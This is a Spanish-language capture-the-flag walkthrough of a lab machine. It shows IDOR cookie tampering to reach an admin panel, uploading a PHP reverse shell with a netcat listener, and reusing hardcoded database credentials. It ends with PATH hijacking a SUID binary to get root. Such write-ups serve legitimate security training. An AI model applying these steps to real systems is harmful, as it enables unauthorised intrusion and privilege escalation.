La máquina expone una aplicación web con un login de "Guest" que esconde una vulnerabilidad de IDOR (Insecure Direct Object Reference) en las cookies de sesión. Manipulando el ID de usuario logramos acceso de administrador, lo que nos permite subir una PHP reverse shell. Después de la intrusión inicial, encontramos credenciales hardcodeadas en código fuente que nos permiten movernos lateralmente al usuario robert. La escalada de privilegios se logra mediante PATH Hijacking sobre un binario SUID.
Nmap revela una aplicación web corriendo en el puerto 80. El puerto 22 (SSH) también está abierto para más adelante.
La página principal tiene un enlace de login en /cdn-cgi/login. Permite iniciar sesión como Guest sin credenciales. Dentro, en la sección de cuentas, la URL muestra el parámetro id=2 (el usuario Guest).
Al cambiar el valor a id=1 se accede a los datos del administrador:
http://target/accounts?id=1
# Resultado:
# Access ID: 34322
# Name: admin
# Email: admin@megacorp.com
Con el Access ID del admin, modificamos las cookies de sesión en el navegador (herramientas de desarrollador → Aplicación → Cookies) para suplantar al administrador y acceder al panel de subida de archivos.
Primero enumeramos directorios con Gobuster para ubicar donde caen los archivos subidos:
gobuster dir -u http://10.129.31.92 -w /usr/share/wordlists/dirb/common.txt
# Resultado relevante: /uploads
Descargamos la PHP reverse shell de pentestmonkey, editamos la IP por la de nuestra interfaz tun0 y la subimos mediante el panel de administrador:
# 1. Poner netcat en escucha
nc -lvnp 1234
# 2. Activar la reverse shell accediendo al archivo subido
curl http://10.129.31.92/uploads/php-reverse-shell.php
# 3. Estabilizar la shell con PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
Revisando el código fuente de la aplicación web encontramos credenciales de base de datos en texto plano:
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
su robert
# Password: M3g4C0rpUs3r!
robert@oopsie:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
Robert pertenece al grupo bugtracker. Buscamos binarios de ese grupo con SUID:
find / -group bugtracker 2>/dev/null
# Resultado: /usr/bin/bugtracker
ls -la /usr/bin/bugtracker
# -rwsr-xr-- 1 root bugtracker 8792 ... /usr/bin/bugtracker
Al ejecutar el binario y darle un ID cualquiera, produce el error: cat: /root/reports/12: No such file or directory. Esto significa que llama a cat sin ruta absoluta → vulnerable a PATH Hijacking.
# 1. Crear un 'cat' malicioso en /tmp
cd /tmp
echo "/bin/sh" > cat
chmod +x cat
# 2. Secuestrar el PATH
export PATH=/tmp:$PATH
# 3. Ejecutar el binario SUID vulnerable
/usr/bin/bugtracker
# Provide Bug ID: 2
# > whoami
root